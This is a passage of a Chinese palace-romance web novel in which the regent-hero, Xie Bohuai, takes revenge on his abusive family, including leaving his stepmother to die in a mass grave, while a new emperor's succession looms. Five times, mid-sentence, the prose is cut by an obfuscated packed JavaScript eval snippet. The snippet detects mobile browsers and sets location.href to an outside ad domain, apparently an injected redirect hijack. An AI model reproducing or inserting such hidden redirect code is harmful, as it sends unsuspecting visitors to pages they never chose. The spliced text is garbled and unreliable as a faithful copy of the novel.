“你的脸,怎么那么红?”谢泊淮突然进来,让叶婉宁惊慌失措地想把春宫图藏起来,奈何越是紧张,越是出错,春宫图反而掉落在地上。 风儿轻轻吹过,翻过几页,里面的内容赫然出现在谢泊淮眼前。 谢泊淮是血气方刚的男子,这一瞧,流了鼻血。 这下子,叶婉宁更是觉得没脸见人了,慌慌张张地把地上的春宫图捡了起来,“不……不是我的,我……我也不知道,大嫂为何……哎呀……啊,你还在流鼻血!” 谢泊淮伸手摸了下鼻子,确实红了一片,“没事,我没事,我去冲个凉。” “诶,现在天还冷着啊。”叶婉宁想追出去,但是又怕被人发现,走到门口又退了回来。 等云芝进来时,叶婉宁羞得快哭了,“云芝,你说大嫂好好的,又给我这个干什么?” 云芝还没嫁人,看着被主子紧紧抱着的包袱,问,“这几年是什么啊?” “是……”话到嘴边,叶婉宁又说不出口,过了好一会儿,只敢把春宫图露出一个角,见云芝瞬间红了脸,小声道,“方才被大人看到了,你说他会不会以为我想……” 光是想想,叶婉宁就想找个地缝钻进去。 如果谢泊淮误会,是她找大嫂要的,那她在谢泊淮眼里,成什么样了? 云芝很快懂主子的意思,她今儿在叶家,听两位太太说了好一会儿话,她觉得很有道理,“可是夫人,您已经嫁给大人了。不管以前如何,也不管大人对其他人如何,他对您是处处细心体贴,一点都不像传言的杀神。您与大人荣辱一体,既然如此,为何不更进一步,做个真夫妻?” “我……” “您听我说,咱家大人不管是样貌,还是本事,那都是一顶一的好,在京城里没有人比得过的。而且乐哥儿认大人做父亲,肯定是要个好的氛围,才能好好成长。我是为了您着想,咱们以前是不容易 ,既然眼前有不错的选择,即时享乐也是好的。不过这只是我的想法,您还是得考虑自个儿的感受。”云芝说完了,再去看主子手里的包袱,“就算大人误会了,那也没什么,你们本就是夫妻。” 叶婉宁被云芝说得说不出话来了,谢泊淮在京城的世家公子里,确实样样拔尖,如果不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170508|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是有个杀神的名声,去提亲的人早就踏破谢家的门槛。 云芝知道主子现在的思绪乱着,倒了一碗安神茶后,便退了出去。 结果她刚出去,就听到青山皱着眉和司砚说话,“我真的看到大人流鼻血了,这是怎么回事?大人和夫人回门不愉快,被夫人打了?” 司砚只想翻白眼,想走,却被青山拉着,“你和我说啊,不然我待会见到大人,又要说错话了。” “青山,你活到二十几岁,就没想过女人吗?”司砚突然问。 “想女人做什么?女人只会影响我保护大人,我又不需要娶妻。你别打岔,和我说怎么回事?”青山非常想知道,如果真是夫人打的,那夫人也太厉害了,竟然敢对大人动手。而且看他大人那个样子,似乎并没有生气。 司砚忍不住骂了句蠢货,“动动你的脑子吧,夫人怎么可能打得到大人?” “那大人为何流鼻血?” “那必然是……”说到这里,司砚看到不远处的云芝,赶忙甩开青山,“我和你说不清,你就打一辈子光棍吧!” 青山也看到了云芝,不好意思大声说了,傻笑着挠挠头,“云芝姑娘,你要去干嘛?” “我去厨房看看。”云芝想了想,还是提个醒,“大人流鼻血的事,你还是别再问了。这是夫妻之间的事,以后等你成亲就懂了。” 这话说得青山更懵了,“为什么要等成亲才懂?” 云芝:…… 是她多嘴。 就不该提醒的。 看青山一脸不解,云芝哪里好意思说得那么清楚,她都还没嫁人,只好转身走了。 到了厨房里,云芝让人给炖了补汤,“加点人参,大人和夫人需要补一补。” 厨娘听了自然说好,“库房里正好有野山参,这个时候吃最好了,再过一段时间,天就热了。云芝姑娘你放心,有我们做事,肯定能把主子们身子吃好。” “你们办事,我是放心的。”云芝出厨房时,正好看到了春喜。 春喜笑着道,“大人都流鼻血了,你还让他补身体,你这妮子真坏。” “你别笑,我也是为了夫人好。”云芝听乐哥儿被青山带 着玩,拉着春喜笑眯眯地问,“我问你,你给谁缝的袜子?” “哪里有谁?”春喜装作不知道。 “我都瞧见了,是男人的尺寸,小姑娘动春心了?和姐姐说说,我帮你看看人好不好。”云芝挽着春喜,不让春喜跑了。 春喜一下支支吾吾起来,“那……那是给……给我弟弟做的。” “你少糊弄我,你弟弟才多大,不可能穿那么大的袜子。算了,我不追问你了,姑娘家怀春也正常。”云芝道,“只是你要记得,挑男人要擦亮眼光。真两情相悦了,也得回主子去,让主子做主给你们操办婚事,千万不能让人占了便宜去。” 她越说,春喜不仅脸红了,脖子更是红透了,“我肯定干不出丢人的事,你别替我担心了,倒是云芝姐姐你,是不是该考虑下人生大事了?” 云芝年纪不小了,今年二十有一了,她模样清秀,确实有人喜欢,但云芝自己没想法。 “我就算了,我是要跟着夫人一辈子的。”云芝道。 两人到了前院,乐哥儿正在和青山打闹,春喜怕乐哥儿出太多汗闷着了,拉着人去换衣服。 而此时的谢泊淮,已经泡在冷水桶里好一会儿了。 但他一闭眼,就能想到春宫图上画着的交缠画面,转而又想到叶婉宁白皙如玉的皮肤。 如果…… 脑中突然冒出一个想法,刚压制住的身体,又不受控制起来。 他非常懊恼,怎么当初和叶婉宁欢好的事,竟然都忘了。 他真是个蠢脑袋,最重要的事竟然能忘了。 不过还好,至少叶婉宁还活着,对于他来说,失而复得的东西自然是最珍贵的。 谢泊淮闭上眼睛,缓缓沉入水中,不再压制自己的欲望和想法…… 第160章 父与子 谢泊淮这一泡,就是一个时辰,久到司砚让青山这个没眼色的来敲门,说用晚膳了。 天色已晚,谢泊淮打了个哈切,他非常难得地生病了。 “去和夫人说,我感染风寒,怕过了病气给乐哥儿,这两天住客房。”谢泊淮道。 青山不疑有他,立马去传话。 叶婉宁听了,以为是谢泊淮故意躲着,这下更臊了,想着什么时候,把那两本春宫图都给烧了才好。 乐哥儿小孩子,没想那么多,只想着让人去请大夫,“生病了要吃药哦,我不怕苦的,我每次都很勇敢。” 青山想的是,他家大人身子好得很,就算是风寒,过两天也就好了。不过夫人也说请个大夫看看,他还是去请大夫。 等大夫来把了脉,开了两副药,又道,“大人的风寒是小,就是肝火有点旺,夫妻房事可以多一些。大人今儿是不是流鼻血了?” 大夫说得一本正经,一旁的青山听得不好意思了,他只听得懂那么直接的,现在是明白了流鼻血大概是因为什么。 谢泊淮说是,“既然开了药,青山你送大夫出去。”不能让大夫再说了。 青山听话去送大夫,等大夫走后,正好遇到司砚,把人拉到屋檐下,啧了一声,“你小子干嘛说话兜圈子,原来大人流鼻血是肝火太旺,你知道大夫怎么说吗?” “怎么说?” 青山左右看了看,自以为没人听到,马上和司砚转述。 而春喜听了个大概,转头去和云芝说了。 既然云芝知道,叶婉宁也就知道了。 “大夫说大人肝火太旺,今天还流鼻血,都是因为这个。”云芝道,“不如您去看看大人,既然是夫妻了,大人病了,总不好漠不关心。” 叶婉宁觉得有这么个道理,不过看天黑了,还是第二天去找谢泊淮。 她到客房时,谢泊淮正在看信,鼻头红红的,真像是生病了的样子。 “你……” “我来看看你,今日怎么样?”叶婉宁问。 “没什么大事,你……”本想说不用担心,但谢泊淮又顿住,改了话,“但还是有一些难受。” 他揉了揉自己的头,说头也有些疼。 “不然喊青山他们帮你按按?”叶婉宁提议。 “青山的手没轻重,不如……你帮我按一下?”谢泊淮说着轻咳两声,“不行也没事,我忍一忍,过两天也就好了。” 听谢泊淮这么说,叶婉宁想着自己拒绝有点太不讲情面,还是 过去帮谢泊淮揉头。 谢泊淮的头发乌黑茂密,叶婉宁站在一旁,能看到谢泊淮的耳垂有些红了。她不知道,谢泊淮这会嗅到她身上淡淡的清香,心思早就飘到一些不能说的地方。 一刻钟后,叶婉宁觉得差不多了,“我去看看,厨房给你炖的药好没有。” “好。”谢泊淮嘴角扬起,他现在如在梦中。 谢泊淮这病,很快就好了,他立马住回了和叶婉宁一起的屋子。 乐哥儿已经熟悉了谢家,夜里自个儿睡,也就剩下谢泊淮和叶婉宁两个人。 从软榻的位置,可以看到床上的叶婉宁,叶婉宁侧身躺着,被褥随着她的曲线起伏,谢泊淮这时候不由想到,以前听那些人说,男人都有自己的软肋。成亲前,他还想着相敬如宾已经很好,是以前都不敢想的事,现在他只觉得以前的自己傻,如何才能做到坐怀不乱? 第一晚,谢泊淮失眠了。 不过次日是殿试,宫里来了旨意,皇上虽然撤了谢泊淮指挥使的官,别人还以为谢泊淮要走下坡路了,不曾想,皇上让谢泊淮当摄政王。 这下子,谢泊淮真是一人之下,万人之上。 收到旨意的谢泊淮,要代替皇上考核殿试,对于这个结果,他一点都不意外。 皇上只有用他才能放心,他也是最需要依附皇权的人,叶婉宁只是愣了愣,随后也明白谢泊淮为什么不曾为此焦虑。 谢泊淮收到旨意,立马进宫去参加殿试。 等谢泊淮出现时,朝臣们都非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170509|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常惊讶,大家没想到皇上那么信赖谢泊淮。 经过几位王爷身边时,谢泊淮特意停了下,看了几个人一眼,便开始主持殿试。 与此同时,那些收到消息的大家族,好些派人来送贺礼。如今谢泊淮成了摄政王,往后新帝登基,也得仰仗谢泊淮的扶持。说句大逆不道的话,以谢泊淮的本事,他想让谁上位都可以。 不过贺礼,都被叶婉宁拦下了。 云芝一次次到门口回话,“多谢大家的好意,不过我家大人说了,不管是当指挥使,还是摄政王,以前什么样,以后也是什么样,大家的心意我们领了,东西还是拿回去吧。” 众人想到以前的谢泊淮,不由打个寒颤,那可是杀人不眨眼的阎罗王,谁敢招惹那时候的谢泊淮? 好些人因此打了退堂鼓,也有难缠一点,不过等青山带着几个壮汉守在门口,那些人也就只能作罢。 直到正午时分,谢仲渊来了。 他看着守在门口的青山,指着青山骂道,“谢泊淮是有本事了,可他再有本事,也是我的儿子。你们今天把我拦下,明天全京城的人都会说他忤逆不孝!” “谢老爷子,我家大人已经和你断绝关系了。”青山不会说弯弯绕绕的话,他说得直接,“以前谢夫人拦着不让我家大人读书,喂狗食,派人毒打,你也都默许了。现在看我们大人有本事了,腆着脸一次次上门,你都活了几十岁的人了,还要脸不要脸?” “你!你算老几!让叶婉宁出来说话,不管谢泊淮在谢家如何,至少他是谢家养大的,我对他就有养育之恩!你个下贱的下人,凭什么在这里对我指责,今儿我倒要看看,他们叶家就是这样的好教养,竟然如此不孝!”谢仲渊知道,到了这个时候,想和谢泊淮缓和关系是不可能的了,只能用孝道来压谢泊淮和叶婉宁。 “关我们夫人什么事,是我们大人的意思,他早就说了,谢家人一律不许放进去。”青山只听主子的话。 而在门后听到的云芝,觉得事情再闹下去不好看,跑回去找夫人询问意见。 第161章 心疼 “夫人,毕竟是大人的父亲,真让他吵下去,外边的流言蜚语,会非常难听。云芝问,“要不然先把人请进来,咱们把人镇住,等大人回来了,自有大人处理。 叶婉宁却说不行,“大人放过话,不认就是不认。如果我们现在把人放进来,谢家就会觉得可以拿捏我们。 再大逆不道的事,谢泊淮都做过了,就算这时候想缓和,也不可能。 如果叶婉宁把人放进来,便是拆谢泊淮的台。 谢泊淮都说了不认,那就不认吧。 叶婉宁经历过那么多,就算是别人指着她的脸说三道四,她现在也可以处变不惊。 太在意旁人的说法,她也就不会嫁给谢泊淮。 “不过就这么让他吵着也不好看,你去给青山他们送椅子和茶水,反正谢老爷子吵他的,咱们不管门口的事。叶婉宁道。 “这样真的可以吗?云芝问。 “云芝,就算我们做得再好,都有人说的。我已经想通了,自个儿过得自在才是好的,至于名声,随便吧。叶婉宁下定了决心。 云芝只好按着主子说的去办。 等瓜子茶水都摆好,青山乐呵呵地说夫人体贴,看到这一幕的谢仲渊气得要过去砸东西,但被青山给挡住。 “谢老爷子,这里可不是你们谢家,由不得你随便打东西。你也是几十岁的人了,要点脸吧,别在这里倚老卖老。一直说什么养育之恩,那你好意思说说你怎么养的吗?青山本着气死人不偿命的想法,“正好我喝了茶,润了润嗓子。大家伙看了那么久,想来也好奇怎么回事,话说谢夫人啊,那是非常的善妒,家中妾室只要有怀孕的,不是弄死,也就是半死。至于我家大人,那是运气好,谢老爷子在外边生了我家大人,才带了回去。 “可是好景不长,善妒的人改不了本性,弄死了姨娘后,就把我家大人关在院子里,才五六岁的小孩啊,你们知道谢夫人多狠心吗? “冬日里连一床被褥都不给,饭菜都是馊的! “你们有听过,这种嫡母吗? “至于眼前这位囔囔着的谢大人,他只顾着自己风流快活,想着反正有两个嫡子。对庶子是不闻不问,死了也无所谓。结果现在嫡子平庸,才想到……诶谢老爷子,您别动手啊,我可不会让着你,我现在可不是你们谢府的人了! 围观的人听得津津乐道,大家只知道谢泊淮和家中不和,至于为什么,大部分人是不清楚的。 毕竟这种事,谢家不会拿出来说, 谢泊淮更不是个多嘴的人。 但是青山呢,他早就想出这口气了,以前住在谢府,还要处处顾忌,现在没什么好怕的。 门后的云芝听得心头猛跳,“你不拦着点吗?” 司砚说没必要,“就该这么说,青山脑子不好用,但是他嘴会得罪人。就让他把谢老爷子得罪得透透的,咱们大人当了摄政王,夫人马上也会有诰命,这种福气,是谢家人比不上的。你不用替主子们操心,大人从不怕这种事。” 云芝没经历过这种事,在其他人家中,孝顺就是最重要的,再没有比孝顺更重要的事。就算是叶家二老爷那种人,在老夫人面前,也不好顶嘴。 门外那些人里,也有人说谢老爷子毕竟是谢泊淮的爹,当爹的再多不是,也不应该这样羞辱人。 青山当即下去把人拽了出来,“那你家认这个爹,送给你,你要不要?让你去吃猪食!”他转头道,“你们去弄点猪食来,我倒要看看,他能吃多少!” 被抓住的人想要跑,却被青山死死拽住,“你这人不讲理,我就是说两句公道话,你怎么这样?呜呜……我不吃……呕!” 当男人蹲在地上呕吐,青山提着猪食问,“谁要是还说毕竟是亲爹这种话,也来尝尝猪食,真能吃下去,我就听他说!” 这话一出,没一个人敢说了,青山几个可是功夫好的,只要盯上的,没人能逃得掉。 青山把猪食提到了谢老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170510|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷子跟前,“要不,你吃一口?” “你……你个下人,怎么敢这样和我说话?” “是我主子给的胆量,谁让你另外两个儿子蠢笨如猪,脑子都不如我的好用!”青山是什么刻薄,说什么。 谢老爷子被气得一口气喘不上来,拍着胸口喘气时,正好谢泊淮回来了。 看到谢泊淮,谢老爷子正想说教,结果谢泊淮先开了口,“青山,我不是说了,以后再有谢家人到门口,直接泼出去。再有下次,你知道的。” “啊?”青山可不想被罚,提起木桶对着谢老爷子泼了过去,讨好地去跟着主子迈过门槛,“大人您看,这还满意吗?” 谢泊淮“嗯”了一声。 而谢老爷子闻到猪食的酸臭味,再也忍不住,摔在地上呕吐,模样十分狼狈,一点形象都没有地晕死过去。 叶婉宁知道这个事后,问谢泊淮,“今日这事,明儿怕是就有许多人弹劾你,你得做好准备。而且我看谢家那并不会轻易放弃你,毕竟只有你最出色,还是得想个永绝后患的办法,不然用这样下去,也不好。” “确实不好,乐哥儿还得读书上学堂,不能影响到他。既然人活着是麻烦,死了就不会了。”说这话时,谢泊淮语气自然,在他这里,早就看淡了生死,直到看见叶婉宁下意识抖了下身子,才想到叶婉宁并不是镇府司那些糙汉,赶忙补充了一句,“我的意思是,他年纪大了,也活不了多久。” 叶婉宁点点头,“今天这事,就够他养一段时间。” “嗯,至于朝臣们,哼,他们不是说我只手遮天么,只要有人上折子,我就会让人提着猪食去他们家。谁要是能吃下去,随便他们以后怎么弹劾,我绝对不再威胁。”谢泊淮的眼中闪过一抹狠厉,皇上的身子撑不了多久,怕是就在这些时候了。新帝即将登基,几位王爷都不是安分守己的人,他正好借此机会,解决一些刺头。 叶婉宁听到猪食,想到谢泊淮小时候过的日子,突然有些心疼。 第162章 乱葬岗 弹劾谢泊淮的折子,确实如雨后春笋一样,但是谢泊淮也按着他说的做了 当镇府司的人一个个上门,就没有人敢说话。就算有一两个想要硬气一点的,但是看到猪食,也忍不住犯呕。 至于谢仲渊,被谢泊淮这么一气,病得起不来了。 紧接着,谢泊远就被撤出一桩陈年旧案,之前谢泊远负责的一次赈灾银,有人贪下一部分。 事情查到谢泊远头上,把人带到府衙关了起来。 那么明显的事,谢家人都知道是谢泊淮干的,坐立不安的谢泊铭找到他母亲,“谢泊淮这是要弄死我们,母亲,您别再这小屋子待着了,父亲病了,您得拿个主意啊,不然下一个就是我。大哥这次凶多吉少,要是再对付不了谢泊淮,整个谢家都要被谢泊淮整死!” 彭氏眼中闪过一抹杀意,她很后悔,以前为什么没把谢泊淮弄死,也就没有现在的麻烦。 “擦了你的眼泪,哭什么哭,还不是没到你?”彭氏叫来身边的嬷嬷,“你去找谢泊淮一趟,他不是想给他姨娘收尸么,让他来见我。” 嬷嬷知道主子要干什么,没有迟疑,出去传话了。 谢泊铭没明白,“母亲,您是要……” “你去城东的乱葬岗,随便找一具死久一点的尸骨回来,春姨娘那个贱人,生的儿子也是个贱货。我就不信,谢泊淮能不要他姨娘的尸骨?”至于真的尸骨,早就找不到了,当年春姨娘死了,彭氏找人随便丢了,这么多年过去,哪里还能找得到。 谢泊铭明白了母亲的意思,看到了希望,立马带人去找尸骨。 这天傍晚,谢泊淮再次踏足谢家,谢家人看到是谢泊淮,一个个都散开,谁都不敢靠近。 等谢泊淮见到了彭氏,满身杀意,“你怎么敢?” “我有什么不敢?”彭氏看着谢泊淮,不有想到二十年前谢泊淮脏兮兮的样子,“谢泊淮,你应该庆幸,是我一时仁慈,你才活到今天。我知道你对我恨之入骨,同样,我也恨不得你快点去死。既然如此,我们做个交易。” “如果我不呢?” “那你姨娘,就要永远和那些肮脏的人葬在一块,任由野兽啃食践踏,永生永世不得安生。”彭氏说着最狠的话,“你知道的,没有什么事,是我干不出来的。你放过谢家,以前的恩怨一笔勾销,我们不会再来打扰你,只要你答应,我就归还你姨娘的尸骨。” 不然的话,彭氏有的是恶毒手段。 她忍了那么多年,现在是退无可退,她才和谢泊淮 商量,不然她看到谢泊淮就恶心。 曾经她也很高傲,觉得自己是一顶一的贵女,暗暗较劲要找个最好的夫君。后来遇到谢仲渊,她以为是良人,结果婚前的一心一意都是装出来的,等她有孕后,谢仲渊立马暴露好色本性。 可木已成舟,彭氏不可能和离,只能一个个地解决谢仲渊身边的女人和孩子。她不允许有其他孩子出现,看到一个,她都会想到谢仲渊和别人恩爱的场景。 彭氏承认自己善妒,一开始还会害怕,可是后来她发现,谢仲渊也不可能休了她,便越加肆无忌惮。 这么多年,只有谢泊淮一个意外。 “如果你非要谢家都去死,那我也没办法,只能让你姨娘,永世不得超生了。谢泊淮,你知道的,我这个人心狠得很,我也没有别的办法要挟你,同不同意,你自己看着办。彭氏端坐着,就是到了这个时候,她还是摆出世家宗妇的架子。 而谢泊淮,确实拒绝不了彭氏的提议。 他点头说了好,彭氏让人带他去领尸骨。 快二十年过去,尸骨有些地方都断了,实在看不出原来的样子。 谢泊淮带着姨娘的尸骨回去,他都不敢多看,到家后吩咐司砚去准备后事,结果司砚来说,他带回来的尸骨应该是个男性的。 那么多年过去,根本认不出尸骨活着时的样子,但是男女还是有办法辨认,特别是司砚他们这些在镇府司里办过事的人,看过的死人数不胜数。 “男的?谢泊淮眸光肃杀,“也就是彭氏骗了我? 司砚点头道,“回大人,应该是的。以司砚的想法看来,彭氏对春姨娘恨之入骨,肯定不会好好安葬,那么多年过去,乱葬岗早就变了又变,哪里可能找得到,所以他才多看了看,没想到真的发现了问题。 而谢泊淮作为儿子,自然不会特意多看一些地方,情绪盖过理智,当下也就没看出端倪来。 听完司砚说的,谢泊淮也想到是怎么回事,听外边传来叶婉宁的声音,他深吸一口气出去。 “听青山说,你找回姨娘的尸骨,既然找回来了,便要好好安葬,丧事就由我来操办?叶婉宁觉得她和谢泊淮是一家人了,这种重要的时刻,应该出面帮忙。 谢泊淮说不用,“是我找错了,天色不早,你先回去歇着,今晚我不回去睡了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170511|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 谢泊淮带着青山出了门,一个时辰后,青山丢下手里的麻袋,里边的人早就吓尿了。 拿走彭氏嘴里的布条,谢泊淮道,“彭氏,你知道这是那里 吗?” 听到是谢泊淮的声音,彭氏又摸到一个骨头,颤巍巍地道,“谢泊淮,我可是诰命夫人,你怎么敢把我绑到这里来?” “我有什么不敢?”谢泊淮冷笑,“从你骗我时,你就想到会有这个结果。从这里开始,你只要能找到我姨娘的尸骨,我就放你一马。” “这里是乱葬岗,哪里找得到?谢泊淮你疯了吗?”彭氏连站起来的力气都没有,她以为自己是做梦,可脖子疼得厉害,这就是现实。 谢泊淮:“其实我早就应该这么做了,今天你说错了,是我太仁慈了。现在就是你的报应,你不去管好色的谢仲渊,反而害了那么多女人孩子。青山,灭了火把,看看都有谁来找她索命。” 等火把被熄灭,彭氏瞬间打起寒颤,她记不得自己害死多少人了,但她现在非常害怕,感觉随时有东西会朝她扑过来。 “谢泊淮,你别走!你不能把我丢在这里,我是你嫡母,你这样会有报应的!” “谢泊淮你不得好死,你和你的贱人姨娘一样,都该死!” “啊,别碰我!求求你了,快点带我离开这里!” “我没杀你们,是你们咎由自取,怪不得我。走开都走开,别来找我啊!” ……随着一声声惨叫,谢泊淮就在不远处听着。 他知道找不回姨娘的尸骨了,那就让彭氏来给姨娘陪葬。 黑暗中,彭氏摔倒了几次,还摸到了一具冰凉得尸体,她哪里有过这种经历,以前下药抛尸都是下人干,她都不用看一眼,现在是真的怕,却逃不出这片黑暗。 直到彭氏被吓疯了,从山坡上滚下撞死了,青山确认死了后,谢泊淮才和青山回城去。 青山是觉得彭氏死有余辜,却也还有一点担忧,“大人,彭氏好歹是谢家主母,她走丢了,还死在乱葬岗,万一查到我们,怎么办?”以他的脑子,是想不到怎么处理后续。 谢泊淮目光冷冷,“好好的一个人在谢家丢了,谢家敢声张吗?就算他们找到尸首,那也是几天后的事。谁看到是我们掳走的人,又有谁敢指证我们?” 没有。 一个都没有。 谢泊淮要彭氏死,她就一定要死。 第163章 皇上驾崩 彭氏的尸首,最终在三天后被找到。 乱葬岗,披头散发,就是谢家,都不敢对外说在乱葬岗找到的,只能说突然病逝,不然传出去,外边人不知道要怎么说。 但是谢家内里,都在猜是谁干的。 “肯定是谢泊淮,除了他,不可能是其他人!”谢泊铭在老爷子跟前,眼眶猩红,“也只有他能在大半夜,把母亲掳走。” 谢仲渊面色苍白,他没想到事情会到这个地步,“你们怎么敢骗他?” 一口气堵在胸口,谢仲渊好半天发泄不出来。这个事,他们只能哑巴吃黄连,谁都不能说。 “母亲让我随便找具尸骨,我哪里认得出是男是女。谁能想到谢泊淮那么心狠手辣,父亲,您得想想办法,总不能让谢泊淮再这样猖狂,大哥还在牢里啊。”这时候,谢泊铭已经不想和大哥争斗了,因为他知道,他的敌人是谢泊淮。不弄死谢泊淮,就算家产都给他,他也没福气享受。 “我能有什么办法?”谢仲渊叹了口气,“他都能干出这种事,还有什么是怕的?你交代下去,接下来的日子,大家夹着尾巴做人,谁都别出门了。熬着吧,皇上的身子越来越不好了,谁也不知道还有多少天。” 谢泊铭听出父亲的意思,“也是,等新帝登基,谁能容忍谢泊淮这样猖狂的臣子?” 但谢泊铭又怕自己等不到那一天,在他们父子说话时,宫里来了旨意,谢泊远贪污腐败,要被流放甘肃,还要谢家补上那些钱财,不然镇府司的人就要来抄家。 谢泊淮刚上任摄政王,就对谢家动手,也让京城的人知道,他谢泊淮和谢家不可能缓和。 并且谢泊淮动作非常快,旨意到达谢府的第二天,谢泊远就被流放了。 成王妃一下子成了罪臣之女,在成王府的日子更不好过了。 成王现在非常后悔,以前觉得谢家门第高,还有谢泊淮这个助力,只要他娶了谢家女,一定能登上帝位。可他没想到,谢泊淮会对谢家人都恨之入骨。 “现在京城的人都在说,谢泊淮冷酷无情,马上还要对谢家其他人动手。令娴,你我夫妻几年,你能不能体谅我?”成王找了过来。 谢令娴脸僵住,成王难不成要与她和离? “我……我与殿下是皇上赐婚。”谢令娴小声道。 父亲成了罪臣,谢家眼看着一落千丈,谢令娴是真的怕成王要和离。 一旦和离,谢令娴只有死路一条。 父亲出事后,谢家找了她几次,希望能让成王出面,把父 亲救出来。她确实找了成王,成王也试着帮忙,最后差点把成王自己带进去。 “你别想太多,你我是结发夫妻。”成王就算有心和离,也不会在这个时候和离,不然于他名声不好,“是兵部的杨大人有个女儿,我想娶她当侧妃。” 听到是这个,谢令娴反而松了口气,只要不合理,娶多少个侧妃都可以。 “王爷想什么时候办喜事?”谢令娴问。 “三天后吧,越快越好。”成王现在急需用人,必须要快点才行。 “那么仓促,就是进宫请示,也得时间。王爷别误会,我是愿意多一个妹妹伺候您的,实在是三天内办不下来。咱们也得给杨家一些体面,您说是不是?”谢令娴小心翼翼地观察成王的脸色。 成王听到最后提到杨家,才松口,“那就再过几天,反正越快越好。令娴你办事,我是放心的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170512|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这个事不能拖,拖久了你知道的。等我成功那日,你便是最尊贵的女人了。” 面对成王的承诺,谢令娴欢喜不起来,以她现在的处境,真不知道成王登基后,能不能当皇后。 但谁不想当皇后呢? 谢令娴也想扬眉吐气,反正成王会有很多女人,现在多一个还是两个,对她来说都无所谓,只要她是王妃就可以。 等成王走后,谢令娴让人去宫里递帖子,纳侧妃是要上祖宗玉碟的,并不能随便纳,她还得去请宫里的旨意。 等嬷嬷一走,又有丫鬟进来,说谢三夫人婉拒了她的帖子。 丫鬟口中的谢三夫人就是叶婉宁,谢令娴之前为了父亲,主动和叶婉宁示好。 “他们夫妇还真是一个样,等着瞧,我就不信谢泊淮能一直只手遮天!”别让她等到谢泊淮和叶婉宁倒霉那天,不然她第一个去踩一脚! 另一边,叶婉宁不仅回绝了谢令娴的帖子,还婉拒了其他人的。 和谢泊淮成亲后,各种各样的帖子就没停过,但谢泊淮说现在不适合应酬,指不定哪家宴席上,就有人想要他们的命,所以叶婉宁都以身体不好拒绝了。 正好叶婉宁也不想参加那些无趣的宴席,左右逢源,还得看一堆假惺惺的人,没意思得很。倒不如在家中陪乐哥儿读书,自己也多一些时间。 “今儿不能让乐哥儿多吃糕点了,不然晚膳又吃不下。”叶婉宁交代云芝。 “您放心,我已经和春喜说了。”云芝看了眼窗外,“今日是个好天气,也不那么冷了,夫人要不要出去走走?” 叶婉宁说好,只是她才起来,就听到了丧钟响起。 这时候只有一个可能——皇上驾崩了。 第164章 一切有我 听到丧钟,叶婉宁只愣了一下,就吩咐下去,“告诉折竹他们,把府内上下全部看好,不是大人和青山他们,谁都不让进来。 云芝皱眉,“夫人,是要变天了吗? 叶婉宁嗯了一声,“皇上驾崩,怕是有人会按耐不住,要我们死了。 事实上,也正如叶婉宁说的一样,这天夜里,谢泊淮还没回来,却有人跑进了宅院。若不是折竹几个功夫好,叶婉宁还真不一定能见到明天的太阳。 看着地上的蒙面人,叶婉宁深吸一口气,把乐哥儿带到自己的屋子里。 到了这会,乐哥儿也知道情况不对,“母亲,我们又要开始逃亡了吗? 他还记得逃跑的日子,睡梦中都会被惊醒,太可怕了。 “不用,相信你父亲,我们能度过这个劫难的。叶婉宁算着时辰,等天亮吧,天亮之后就好了。 